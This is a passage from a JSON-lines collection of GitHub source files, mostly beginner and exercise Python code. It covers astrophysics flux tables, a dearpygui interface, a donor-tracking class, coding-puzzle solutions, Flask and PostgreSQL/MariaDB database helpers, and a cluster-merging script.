['padova0004-op/','padova004-op/','padova008-op/','padova02-op/']\n    Zs       = [0.0004, 0.004, 0.008, 0.02]\n    SB99FilePat = 'padova*.spectrum1'\n\n    # SB99 format:     TIME [YR]    WAVELENGTH [A]   LOG TOTAL  LOG STELLAR  LOG NEBULAR  [ERG/SEC/A]\n    for i, (Z, SB99Dir) in enumerate(zip(Zs,SB99Dirs)):\n        SB99FilePattern = SB99Path + SB99Dir + SB99FilePat \n        SB99Files   = glob.glob(SB99FilePattern)  # All the files in the dir... should be one!\n        if len(SB99Files) != 1:\n            print('Error: too many files in an SB99 dir! - ',SB99Path + SB99Dir)\n            sys.exit()\n        SB99Data    = np.loadtxt(SB99Files[0],skiprows=6)\n        if i == 0:\n            SB990004 = np.dstack((np.log10(SB99Data[:,0]),SB99Data[:,1],10**(SB99Data[:,2]-6.0))).reshape(len(SB99Data[:,1]),3)\n        elif i == 1:\n            SB99004 = np.dstack((np.log10(SB99Data[:,0]),SB99Data[:,1],10**(SB99Data[:,2]-6.0))).reshape(len(SB99Data[:,1]),3)\n        elif i == 2:\n            SB99008 = np.dstack((np.log10(SB99Data[:,0]),SB99Data[:,1],10**(SB99Data[:,2]-6.0))).reshape(len(SB99Data[:,1]),3)\n        elif i == 3:\n            SB9902 = np.dstack((np.log10(SB99Data[:,0]),SB99Data[:,1],10**(SB99Data[:,2]-6.0))).reshape(len(SB99Data[:,1]),3)\n        # We now have:\n        # [[log age, waveln, flux], [], ...]\n\n\n        # Generate the filter-flux data...\n        \n    redshifts    = [2.0,3.0,4.0,5.0,5.5,6.0,6.5,7.0,7.5,8.0,8.5,9.0,9.5,10.0,11.0,12.0,13.0]\n    # redshifts    = [14.0,15.0,16.0]\n    sb99List  = [SB990004, SB99004, SB99008, SB9902]\n    sb99Names = [\"SB990004\", \"SB99004\", \"SB99008\", \"SB9902\"]\n    # sb99List  = [SB9902]\n    # sb99Names = [\"SB9902\"]\n    print(hdr)\n    for sb99Data, fname in zip(sb99List,sb99Names):\n        ages = np.unique(sb99Data[:,0]) # Get the list of ages\n        # Get the log age, wavelength & Luminosity/s/Ang\n        allAges = sb99Data[:,0]\n        wavelns = sb99Data[:,1] * u.Angstrom\n        LperA   = sb99Data[:,2] * u.erg / u.second / u.angstrom\n        for z in redshifts:\n            buildOutFile(z,allAges,ages,wavelns,LperA)\n            filename = fname + \"_\" + str(z) + \".gz\"\n            print('writing {}'.format(filename))\n            np.savetxt(filename, outfile, fmt=fmtStr, delimiter=', ', header=hdr)\n        \n    print(\"Done with SB99...\")\n    return \n","repo_name":"earnric/modules","sub_path":"buildFluxTables.py","file_name":"buildFluxTables.py","file_ext":"py","file_size_in_byte":11146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23413927551","text":"import sys\n\nimport dearpygui.dearpygui as dpg\n\nfrom __v1 import cct_advanced_options_ui as caou\nfrom __v1 import hrsa_cct_globals, cct_ui_panels\n\n# Workflow Options - Constants\nCHOOSE_WORKFLOW_RADIO_BUTTON: str = \"CHOOSE_WORKFLOW_RADIO_BUTTON\"\nCREATE_SCENARIO_BY_COPYING_EXISTING_OPTION: str = \"Create Scenario\"\nEDIT_EXISTING_SCENARIO_OPTION: str = \"Edit Scenario\"\nTRANSFER_SCENARIO_TO_DEVICE_OPTION: str = \"Transfer to Device\"\nSHOW_ALL_MODULES: str = \"Show All Modules\"\nCWU_SHOW_ADVANCED_OPTIONS: str = \"CWU_SHOW_ADVANCED_OPTIONS\"\nWORKFLOW_OPTION_LIST: list = [\n    CREATE_SCENARIO_BY_COPYING_EXISTING_OPTION,\n    EDIT_EXISTING_SCENARIO_OPTION,\n    TRANSFER_SCENARIO_TO_DEVICE_OPTION\n]\n\nDEFAULT_WORKFLOW_OPTION: str = CREATE_SCENARIO_BY_COPYING_EXISTING_OPTION\n\nif hrsa_cct_globals.is_debug:\n    WORKFLOW_OPTION_LIST.append(SHOW_ALL_MODULES)\n    DEFAULT_WORKFLOW_OPTION: str = SHOW_ALL_MODULES\n\n\ndef _set_visibility_for_all_ui(is_visible: bool = False):\n    dpg.configure_item(cct_ui_panels.CREATE_SCENARIO_COLLAPSING_HEADER, show=is_visible)\n    # dpg.configure_item(cct_ui_panels.COPY_SCENARIO_COLLAPSING_HEADER, show=is_visible)\n    dpg.configure_item(cct_ui_panels.SELECT_SCENARIO_COLLAPSING_HEADER, show=is_visible)\n\n    set_edit_ui_visibility(is_visible)\n\n    dpg.configure_item(cct_ui_panels.TRANSFER_TO_DEVICE_COLLAPSING_HEADER, show=is_visible)\n\n\ndef show_all_modules_ui():\n    _set_visibility_for_all_ui(True)\n\n\ndef hide_all_modules_ui():\n    _set_visibility_for_all_ui(False)\n\n\ndef show_create_scenario_by_copying_existing_scenario_ui():\n    hide_all_modules_ui()\n    dpg.configure_item(cct_ui_panels.CREATE_SCENARIO_COLLAPSING_HEADER, show=True)\n    # dpg.configure_item(cct_ui_panels.COPY_SCENARIO_COLLAPSING_HEADER, show=True)\n\n\ndef set_edit_ui_visibility(is_visible: bool = False):\n    dpg.configure_item(cct_ui_panels.CCT_PATIENT_INFO_COLLAPSING_HEADER, show=is_visible)\n    dpg.configure_item(cct_ui_panels.CCT_SCENARIO_CONFIG_COLLAPSING_HEADER, show=is_visible)\n    dpg.configure_item(cct_ui_panels.SHOW_INK_FILES_COLLAPSING_HEADER, show=is_visible)\n    dpg.configure_item(cct_ui_panels.AUDIO_GENERATION_COLLAPSING_HEADER, show=is_visible)\n    dpg.configure_item(cct_ui_panels.TRANSLATE_COLLAPSING_HEADER, show=is_visible)\n\n\ndef show_transfer_to_device_ui():\n    hide_all_modules_ui()\n    dpg.configure_item(cct_ui_panels.TRANSFER_TO_DEVICE_COLLAPSING_HEADER, show=True)\n\n\ndef show_edit_existing_scenario_ui():\n    hide_all_modules_ui()\n    dpg.configure_item(cct_ui_panels.SELECT_SCENARIO_COLLAPSING_HEADER, show=True)\n\n\ndef callback_on_choose_workflow_radio_button_clicked(sender, app_data, user_data):\n    if app_data == CREATE_SCENARIO_BY_COPYING_EXISTING_OPTION:\n        show_create_scenario_by_copying_existing_scenario_ui()\n    elif app_data == EDIT_EXISTING_SCENARIO_OPTION:\n        show_edit_existing_scenario_ui()\n    elif app_data == TRANSFER_SCENARIO_TO_DEVICE_OPTION:\n        show_transfer_to_device_ui()\n    elif app_data == SHOW_ALL_MODULES:\n        show_all_modules_ui()\n\n\ndef set_advanced_options_visibility(should_show_advanced_options):\n    dpg.configure_item(caou.PIU_OPEN_FILE_DIALOG_BUTTON, show=should_show_advanced_options)\n    dpg.configure_item(caou.SCU_OPEN_FILE_DIALOG_BUTTON, show=should_show_advanced_options)\n    dpg.configure_item(caou.SIF_SHOW_FILE_DIALOG_BUTTON_SCENARIO_FOLDER, show=should_show_advanced_options)\n    dpg.configure_item(caou.SHOW_FILE_DIALOG_BUTTON_SCENARIO_FOLDER, show=should_show_advanced_options)\n    dpg.configure_item(caou.SHOW_FILE_DIALOG_BUTTON_SOURCE_SCENARIO_FOLDER, show=should_show_advanced_options)\n    dpg.configure_item(caou.PIU_SCENARIO_PATIENT_INFO_JSON_PATH_TEXT, show=should_show_advanced_options)\n    dpg.configure_item(caou.SCU_SCENARIO_CONFIG_JSON_PATH_TEXT, show=should_show_advanced_options)\n    dpg.configure_item(caou.SIF_SCENARIO_DIRECTORY_PATH_TEXT, show=should_show_advanced_options)\n    dpg.configure_item(caou.AG_SCENARIO_DIRECTORY_PATH_TEXT, show=should_show_advanced_options)\n    caou.on_advanced_options_clicked(should_show_advanced_options)\n\n\ndef callback_on_show_advanced_options_clicked(sender, app_data, user_data):\n    hrsa_cct_globals.show_advanced_options = dpg.get_value(CWU_SHOW_ADVANCED_OPTIONS)\n    set_advanced_options_visibility(hrsa_cct_globals.show_advanced_options)\n\n\ndef init_data():\n    # Set the default workflow\n    default_workflow = dpg.get_value(CHOOSE_WORKFLOW_RADIO_BUTTON)\n    callback_on_choose_workflow_radio_button_clicked(None, default_workflow, None)\n    callback_on_show_advanced_options_clicked(None, None, None)\n\n\ndef init_ui():\n    # Choose Workflow UI\n    with dpg.collapsing_header(label=\"Choose Workflow\",\n                               default_open=True, open_on_double_click=False, open_on_arrow=False):\n        with dpg.group(horizontal=True):\n            dpg.add_radio_button(items=WORKFLOW_OPTION_LIST, horizontal=True,\n                                 tag=CHOOSE_WORKFLOW_RADIO_BUTTON, default_value=DEFAULT_WORKFLOW_OPTION, callback=callback_on_choose_workflow_radio_button_clicked)\n            dpg.add_checkbox(label=\"Show Advanced Options\", tag=CWU_SHOW_ADVANCED_OPTIONS, default_value=hrsa_cct_globals.show_advanced_options,\n                             callback=callback_on_show_advanced_options_clicked)\n        dpg.add_spacer(height=10)\n        dpg.add_separator()\n\n\nif sys.flags.dev_mode:\n    print(\"cct_workflow_ui.__init__()\")\n","repo_name":"shankarsiddharth/HRSA_CCT","sub_path":"src/__v1/ui/cct_workflow_ui.py","file_name":"cct_workflow_ui.py","file_ext":"py","file_size_in_byte":5385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"110035220","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 14 19:23:00 2019\n\n@author: Humberto Gonzalez\n\"\"\"\n\nimport os\nimport pickle\nimport tempfile\n\nclass Donor:\n    def __init__(self,name):\n        \"\"\"\n        donor is initialized with a name and empty donations list\n        \"\"\"\n        self.name = name\n        self.donations = []\n    \n    def add_donation(self,donation):\n        \"\"\"\n        adds donation to the donations list\n        \"\"\"\n        try:\n            donation = float(donation)\n            self.donations.append(donation)\n        except:\n            print(\"Donation amount entered needs to be a number\")\n    \n    def total_donations(self):\n        \"\"\"\n        returns the sum of all the donor's donations\n        \"\"\"\n        return sum(self.donations)\n    \n    def num_donations(self):\n        \"\"\"\n        returns the total number of donations made by the donor\n        \"\"\"\n        return len(self.donations)\n    \n    def avg_donation(self):\n        \"\"\"\n        returns the average donation amount made by thr donor\n        \"\"\"\n        return round(sum(self.donations)/len(self.donations),2)\n    \n    def generate_thank_you_note(self):\n        \"\"\"\n        created the thank you note text for the donor\n        \"\"\"\n        donor_name = self.name\n        donation = self.donations[len(self.donations)-1]\n        txt = f'Dear {donor_name},\\n    Thank you for your generous donation of ${donation}'\n        return txt\n    \n    def __lt__(self,other):\n        return self.total_donations() > other.total_donations()\n    \n    def __eq__(self,other):\n        return self.total_donations() == other.total_donations()\n    \n\nclass donorCollection:\n    def __init__(self):\n        \"\"\"\n        initializes the donor collection as an empty list\n        \"\"\"\n        self.donor_db = []\n    \n    def add_donor(self,donor):\n        \"\"\"\n        adds a donor to the donor collection\n        \"\"\"\n        self.donor_db.append(donor)\n    \n    def find_donor(self,name):\n        \"\"\"\n        given a donor name, returns the corresponding donor object\n        \"\"\"\n        for donor in self.donor_db:\n            if donor.name == name:\n                return donor\n    \n    def send_letters(self):\n        \"\"\"\n        creates letters to all donors in the donor collection and saves them\n        to the temp folder\n        \"\"\"\n        path = tempfile.gettempdir()\n        path = path + \"/\" + \"Letters to Donors\"\n        try:\n            os.mkdir(path)\n        except FileExistsError:\n            pass\n        for donor in self.donor_db:\n            donation = donor.donations[0]\n            temp = path + \"/\" + donor.name.replace(' ','_') + '.txt'\n            with open(temp,'w') as tfile:\n                formatter = '''Dear {},\\n    Thank you for your generous donation of ${}. \\n    Your donation will be put to great use. \\n         Sincerely, \\n          -The Organization'''\n                txt = formatter.format(donor.name,donation)\n                tfile.write(txt)\n        print('Letters have been created and saved to \\n a new folder in your temp directory')\n    \n    def display_report(self):\n        \"\"\"\n        prints out the report of the donor collection\n        \"\"\"\n        print('{:20} | {:^10} | {:^10} | {:^10} |'.format(\"Donor Name\",\n              \"Total Given\",\"Num Gifts\",\"Average Gift\"))\n        print('-'*64)\n        formatter = \"{:20}   ${:>10}   {:>10}   ${:>10}\"\n        self.donor_db.sort()\n        for donor in self.donor_db:\n            donor_name = donor.name\n            total = donor.total_donations() \n            num = donor.num_donations()\n            average = donor.avg_donation()\n            print(formatter.format(donor_name,total,num,average))\n    \n    def save_data(self):\n        \"\"\"\n        saves the donor collection to a pickle data file\n        \"\"\"\n        directory = os.getcwd()\n        with open(directory+\"/\"+\"mailroom.dat\", \"wb\") as f:\n            pickle.dump(self.donor_db, f)\n            print(\"Mailroom data has been saved\")\n    \n    def load_data(self):\n        \"\"\"\n        loads a donor collection from a pickle data file\n        \"\"\"\n        directory = os.getcwd()\n        try:\n            os.path.exists(directory+\"/\"+\"mailroom.dat\")\n            with open(directory+\"/\"+\"mailroom.dat\") as f:\n                self.donor_db = pickle.load(f)\n        except:\n            print(\"There is no mailroom save data in the current working directory\")\n            \n                \n        \n        \n    ","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/humberto_gonzalez/session09/donor_models.py","file_name":"donor_models.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"20965677763","text":"from tool.runners.python import SubmissionPy\n\n\nclass JulesdtSubmission(SubmissionPy):\n\n    def check(self, found_keys):\n        required_keys = [\"byr\", \"iyr\", \"eyr\", \"hgt\", \"hcl\", \"ecl\", \"pid\"]\n        return all([x in found_keys for x in required_keys])\n\n    def run(self, s):\n        \"\"\"\n        :param s: input in string format\n        :return: solution flag\n        \"\"\"\n        \n        counter = 0\n        found_keys = set()\n        for line in s.split('\\n'):\n            if len(line) == 0:\n                if self.check(found_keys):\n                    counter += 1\n                found_keys = set()\n                continue\n            keys = line.split(' ')\n            for key in keys:\n                key_value = key.split(':')[0]\n                found_keys.add(key_value)\n        if self.check(found_keys):\n            counter += 1\n        return counter\n","repo_name":"david-ds/adventofcode-2020","sub_path":"day-04/part-1/julesdt.py","file_name":"julesdt.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"103780970","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis code determines whether a number 1 to 100 is divisible by x or y and if \nit is divisible by both. It will print 1 of 2 strings if TRUE and a third string\nif n is divisible by both x and y.\n\"\"\"\n\n\"\"\"\nLesson02 :: FizzBuzz Exercise\n@author: Chuck Stevens :: CCSt130\nCreated on Wed May 22 15:55:35 2019\n\"\"\"\n\ndef fizzbuzz(numero, div1, div2): \n    \"\"\" Evaluates a range and determines if n is divisible by x and or y. \"\"\"\n\n    # assign to a list for loop\n    divisors = [div1, div2]\n\n    i = 0 # while loop counter\n    \n    while(i <= 1):\n\n        #rem1 = (numero % div1)\n        rem1 = (numero % divisors[0])\n        \n        #rem2 = (numero % div2)\n        rem2 = (numero % divisors[1])\n        \n        # put in a list\n        remainders = [rem1, rem2]        \n        \n        value = (numero - 1) # offset index for screen output\n        \n        print(\"Value assigned to myArray[%d] is: %d. \" % ((value), numero))\n\n        # Check first divisor\n        if(numero >= divisors[i]):\n            print(\"When %d is divided by ** %d,** its Remainder is: %d.\" % (numero, divisors[i], remainders[i]))\n            # Is it Divisible?\n            if(remainders[i] == 0):\n                print(\"Therefore, %d is divisible by %d.\" % (numero, divisors[i]))\n                # print correct word depending upon divisor\n                if(divisors[i] == divisors[0]):                \n                    print(\"%d: FIZZ! \\n\" % numero)\n                else:\n                    print(\"%d: BUZZ! \\n\" % numero)\n            else: # Not divisible by divisor\n                    print(\"Therefore, %d is not divisible by %d.\" % (numero, divisors[i]))\n                    print(\"%d: Nuts! \\n\" % (numero))\n        else: # Values below divisor\n            print(\"A Value of '%d' is less than '%d', therefore, %d is not divisible by %d.\" % (numero, divisors[i], numero, divisors[i]))\n            print(\"%d: Fiddlesticks! \\n\" % (numero))\n        # using counter so that fizzbuzz statement prints 1x\n        # admittedly a bit inelegant            \n        if(remainders[0] == 0 and remainders[1] == 0 and i == 1): \n            print(\"Wow! %d is divisible by %d and %d!\" % (numero, divisors[0], divisors[1]))\n            print(\"%d: FIZZ!BUZZ! \\n\" % (numero))\n\n        i += 1 # increment while loop\n                \nif __name__ == \"__main__\":\n\n    def main():\n\n        # range to be evaluated\n        my_list = range(1,101)\n    \n        print()\n        print(\"Evaluating :: \", end = \"\")\n        print(my_list)\n        print()\n\n        # divisors    \n        div1 = 3;\n        div2 = 5;\n        \n        for num in my_list:\n\n            fizzbuzz(num, div1, div2)\n\nmain()\n\n\n# submitted by Chuck S!\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/CCSt130/lesson02/fizzbuzz_cs.py","file_name":"fizzbuzz_cs.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"23518990796","text":"from flask_app.config.mysqlconnection import connectToMySQL\n\nclass Dojo:\n    def __init__(self, data):\n        self.id = data['id']\n        self.ninjas = []\n        self.name = data['name']\n        self.created_at = data['created_at']\n        self.updated_at  = data['updated_at']\n\n    @classmethod\n    def get_all_dojos(cls):\n        query = \"SELECT * FROM dojos;\"\n        results = connectToMySQL(\"dojos_and_ninjas_schema\").query_db(query)\n        dojos = []\n        for row in results:\n            dojos.append(cls(row))\n        return dojos\n\n    @classmethod\n    def get_one_dojo(cls, data):\n        print(data)\n        query = \"SELECT * FROM dojos WHERE id = %(id)s;\"\n        results = connectToMySQL(\"dojos_and_ninjas_schema\").query_db(query)\n        dojo = cls(results[0])\n        return dojo\n\n    @classmethod \n    def create_dojo(cls, data):\n        query = \"INSERT INTO dojos (name, created_at, updated_at) VALUES (%(name)s, NOW(), NOW());\"\n        results = connectToMySQL('dojos_and_ninjas_schema').query_db(query, data)","repo_name":"aravindrs44/python","sub_path":"archived/dojos_and_ninjas/flask_app/models/dojo.py","file_name":"dojo.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12979083985","text":"# https://leetcode.com/problems/add-strings/\n# T: O(n)\n# S: O(1)\n\nclass Solution:\n    def addStrings(self, num1: str, num2: str) -> str:\n        result = ''\n        m, n = len(num1), len(num2)\n        i, j = m - 1, n - 1\n        carry = 0\n        \n        while i >= 0 or j >= 0:\n            a = int(num1[i]) if i >=0 else 0\n            i -= 1\n            b = int(num2[j]) if j >=0 else 0\n            j -= 1\n            total = a + b + carry\n            result = str(total % 10 ) + result;\n            carry = total // 10\n            \n        if carry == 0:\n            return result\n        else:\n            return str(carry) + result","repo_name":"syzdemonhunter/Coding_Exercises","sub_path":"Leetcode/415.py","file_name":"415.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"20219956051","text":"# https://leetcode.com/problems/letter-case-permutation/\n\nfrom typing import List\nclass Solution:\n    def letterCasePermutation(self, s: str) -> List[str]:\n        res = ['']\n        for ch in s:\n            if ch.isalpha():\n                res = [i+j for i in res for j in [ch.upper(), ch.lower()]]\n            else:\n                res = [i+ch for i in res]\n        return res\n\n# https://www.w3schools.com/python/ref_string_isalpha.asp","repo_name":"eujeong-hwang/Coding_Test_Preparation","sub_path":"Leetcode Algorithms/Day11 (Recursion, Backtracking)/784. Letter Case Permutation.py","file_name":"784. Letter Case Permutation.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"22318064589","text":"import psycopg2 \nfrom database.connection import Connection\n\nclass Querie():\n    \n    \"\"\"For Show Products\"\"\"\n    @staticmethod\n    def show_products(self):\n        try:\n            conn = Connection.create_connection()\n            sql = \"SELECT * FROM products LIMIT 10;\"\n            cursor = conn.cursor()\n            cursor.execute(sql)\n            products = cursor.fetchall()\n            for product in products:\n                print(product)\n        except Exception as e:\n            print(\"e\")\n\n    \"\"\"Insert products into database\"\"\"\n    @staticmethod\n    def insert_product(code, description, price):\n        try:\n            conn = Connection.create_connection()\n            cursor = conn.cursor()\n            sql = \"\"\"INSERT INTO products(code, description, price) \n                    VALUES (%s, %s, %s)\"\"\"\n            cursor.execute(sql, (code, description, price))\n            conn.commit()\n            print(\"Product added successfully\")\n        except Exception as e:\n            print(\"Failed to add product\")\n        finally:\n            if conn is not None:\n                conn.close()\n                print(\"Connection closed\")\n    \n    \"\"\"Show list of products\"\"\"\n    @staticmethod      \n    def select_product_alls():\n        conn = Connection.create_connection()\n        sql = \"\"\"SELECT * FROM products ORDER BY id LIMIT 10\"\"\"\n        cursor = conn.cursor()\n        cursor.execute(sql)\n        products = cursor.fetchall()\n        print(type(products))\n        return products\n    \"\"\"Delete product by id\"\"\"\n    def delete_products(id):\n        conn = Connection.create_connection()\n        sql = f\"\"\"DELETE from products WHERE id = %s\"\"\"\n        cursor = conn.cursor()\n        cursor.execute(sql,(id,))\n        conn.commit()\n        \n    \"\"\"Find product by id\"\"\" \n    def find_product_by_id(id):\n        try:\n            conn = Connection.create_connection()\n            sql =\"SELECT * FROM products WHERE id = %s;\"\n            cursor = conn.cursor()\n            cursor.execute(sql,(id,))\n            product = cursor.fetchone()\n            print(product)\n            return product\n        finally:\n            conn.close()\n        \n    \"\"\"Update Product\"\"\"\n    def update_product(id,code,description,price):\n       try:\n           conn = Connection.create_connection()\n           sql = \"\"\"UPDATE products SET \n                  code = %s,\n                  description = %s,\n                  price = %s\n                  WHERE id = %s;\"\"\"\n           cursor = conn.cursor()\n           print(id)\n           print(code)\n           print(description)\n           print(price)\n           cursor.execute(sql,(code,description,price,id))\n           conn.commit()\n       except Exception as e:\n           print(f'Error es -> {e}')\n    \"\"\"Find Product by Code\"\"\"\n    def find_product_by_code(code):\n         try:\n             conn = Connection.create_connection()\n             sql = \"SELECT * FROM products WHERE code = %s;\"\n             cursor = conn.cursor()\n             cursor.execute(sql,(code,))\n             product =cursor.fetchone()\n             return product \n         except Exception as e:\n             print(e)        \n        \n\n\n    \n","repo_name":"vsosa671980/Flask_big_data","sub_path":"database/query_db.py","file_name":"query_db.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22287151109","text":"#!/usr/bin/env python3\n\n\"\"\"\nGiven a set of clustering files, choose resolutions to use for colliding number of clusters, merge cluster files\ninto a single file and move markers from resolutions to applicable clusters number.\n\"\"\"\n\nimport argparse\nfrom os import listdir, path\nimport re\nimport shutil\n\n\ndef num_of_clusters(file_path):\n    clusters = set()\n    f = open(file_path)\n    f.readline()  # discard header\n    for line in f:\n        cluster = line.split(sep=\"\\t\")[1]\n        clusters.add(cluster)\n    return len(clusters)\n\n\ndef main():\n    arg_parser = argparse.ArgumentParser()\n    arg_parser.add_argument('-c', '--clusters-path',\n                            required=True,\n                            help='Path to where cluster files are found')\n    arg_parser.add_argument('-o', '--output-dir',\n                            required=True,\n                            help='Path for results')\n\n    args = arg_parser.parse_args()\n\n    # Pattern to extract resolution value from clusters file residing in clusters-path, supports integer or floats res.\n    clusters_file_pat = re.compile(r'^clusters_resolution_(?P<resolution>\\d+\\.?\\d*)(.tsv)*')\n\n    clusters_files = {}\n    clusters_to_res = {}\n    # Choose resolutions and map to cluster numbers\n    for cluster_file in listdir(args.clusters_path):\n        match = re.search(clusters_file_pat, cluster_file)\n        if match is not None:\n            resolution = float(match.group('resolution'))\n            clusters_files[resolution] = cluster_file\n            clusters = num_of_clusters(args.clusters_path+\"/\"+cluster_file)\n            if clusters in clusters_to_res:\n                if clusters_to_res[clusters] > resolution >= 1 or 1 >= resolution > clusters_to_res[clusters]:\n                    # the current resolution is closer to 1, we prefer it\n                    clusters_to_res[clusters] = resolution\n            else:\n                clusters_to_res[clusters] = resolution\n\n    # Merge all clusters for the selected resolutions into memory and\n    # create individual marker files for each clustering value\n    cells_set = set()\n    cells_clusters = {}\n    for clusters, resolution in sorted(clusters_to_res.items()):\n        print(\"Res: {} --> Cluster: {}\".format(resolution, clusters))\n        with open(clusters_files[resolution], mode=\"r\") as clusters_source:\n            header = clusters_source.readline()\n            cluster_assignment = {}\n            for line in clusters_source:\n                cell, cluster_num = line.rstrip().split(sep=\"\\t\")\n                cells_set.add(cell)\n                cluster_assignment[cell] = cluster_num\n            cells_clusters[clusters] = cluster_assignment\n\n            source = args.clusters_path+\"/markers_resolution_\"+str(resolution)+\".tsv\"\n            dest = args.output_dir+\"/markers_\"+str(clusters)+\".tsv\"\n            if path.isfile(source):\n                shutil.copy(source, dest)\n\n    print(\"Cell set has {} entries\".format(len(cells_set)))\n    print(\"Cell clusters has {} entries\".format(len(cells_clusters)))\n    # Write the complete clusters file in order\n    clusters_output = open(args.output_dir + \"/clusters_for_bundle.txt\", mode=\"w\")\n    clusters_output.write(\"sel.K\\tK\\t\"+\"\\t\".join(sorted(cells_set))+\"\\n\")\n    for k, cluster_assignment in sorted(cells_clusters.items()):\n        selected = 'TRUE' if float(clusters_to_res[k]) == 1.0 else 'FALSE'\n        clusters_output.write(\"\\t\".join([selected, str(k)]))\n        print(\"Cluster assignments for k {} has {} entries\".format(k, len(cluster_assignment)))\n        for cell in sorted(cells_set):\n            clusters_output.write(\"\\t\"+str(cluster_assignment[cell]))\n        clusters_output.write(\"\\n\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ebi-gene-expression-group/scxa-workflows","sub_path":"util/choose_resolution_per_clustering.py","file_name":"choose_resolution_per_clustering.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"32853947274","text":"import mariadb\ncon=mariadb.connect(\n    user=\"root\",\n    password=\"password\",\n    host=\"127.0.0.1\",\n    port=3306,\n    database=\"test\",\n    autocommit=True\n)   \ncursor=con.cursor()\ntry:\n    cursor.execute(\"CREATE TABLE customers (name VARCHAR(255), address VARCHAR(255))\")\n    cursor.execute(\"CREATE TABLE students (name VARCHAR(255), address VARCHAR(255))\")\nexcept BaseException as msg:\n    print(msg)\n    cursor.execute('SHOW TABLES')\n    for x in cursor:\n        print (x)\n    try:\n         sql = \"INSERT INTO customers (name, address) VALUES (%s, %s)\"\n         val = (\"John\", \"Highway 21\")\n         cursor.execute(sql, val)\n    except BaseException:\n        print(\"already\")\n    #cursor.execute(\"ALTER TABLE customers ADD COLUMN id INT AUTO_INCREMENT PRIMARY KEY\")\n    #cursor.execute(\"DELETE FROM customers WHERE address = 'Highway 21'\")\n    cursor.fetchall()\n    \n\nfinally:\n    cursor.close()\n\n","repo_name":"anilreddy2896/hard","sub_path":"Python/Advanced_python/pdbc/pdbc.py","file_name":"pdbc.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4286453900","text":"from abc import ABC, abstractmethod\n\nfrom environment import Environment\n\n\nclass AbstractFunction(ABC):\n    arity = 0\n\n    @abstractmethod\n    def call(self, args):\n        pass\n\n\nclass Function(AbstractFunction):\n\n    def __init__(self, params, body):\n        self.params = params\n        self.arity = len(self.params)\n        self.body = body\n\n    def call(self, interp, args):\n        env = Environment(interp.environment)\n        for param, arg in zip(self.params, args):\n            env.set_key_value(param.data, arg)\n        interp.execute_blockstmt(\n            self.body.stmts,\n            env\n        )\n","repo_name":"mcncm/cavy-python","sub_path":"functions/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71216186340","text":"import configparser\nimport psycopg2\nfrom sql_queries import create_table_queries, drop_table_queries\nimport itertools\nimport threading\nimport time\nimport sys\n\ndef drop_tables(cur, conn):\n    for query in drop_table_queries:\n        cur.execute(query)\n        conn.commit()\n\n\ndef create_tables(cur, conn):\n    for query in create_table_queries:\n        cur.execute(query)\n        conn.commit()\n        \ndef animate():\n    for c in itertools.cycle(['|', '/', '-', '\\\\']):\n        if done:\n            break\n        sys.stdout.write('\\rcreating ' + c )\n        sys.stdout.flush()\n        time.sleep(0.1)\n    sys.stdout.write('\\rfinish!     '+'\\n')\n\ndef main():\n    config = configparser.ConfigParser()\n    config.read('dwh.cfg')\n\n    conn = psycopg2.connect(\"host={} dbname={} user={} password={} port={}\".format(*config['CLUSTER'].values()))\n    cur = conn.cursor()\n\n    drop_tables(cur, conn)\n    create_tables(cur, conn)\n\n    conn.close()\n\n\nif __name__ == \"__main__\":\n    done = False\n    t = threading.Thread(target=animate)\n    t.start()\n    \n    main()\n    \n    done = True\n    t.join()","repo_name":"BankNatchapol/AWS-Data-Warehouse-ETL","sub_path":"create_tables.py","file_name":"create_tables.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
